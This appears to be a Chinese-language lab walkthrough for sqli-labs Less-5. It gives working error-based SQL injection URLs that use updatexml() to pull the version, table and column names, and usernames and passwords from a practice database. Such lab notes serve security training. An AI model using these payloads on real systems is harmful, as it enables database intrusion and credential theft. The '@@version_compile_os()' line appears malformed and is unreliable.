注意:此题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等。
通过报错注入判断注入点,尝试验证
http://192.168.61.153/sqli-labs/Less-5/?id=1' and 1=2 --+
查询基础信息的语句
updatexml(1,concat(0x7e,(select version()),0x7e),1)--+
updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+
爆库名
updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表名
http://192.168.61.153/sqli-labs/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
爆列名
http://192.168.61.153/sqli-labs/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
爆值
http://192.168.61.153/sqli-labs/Less-5/?id=1' or updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+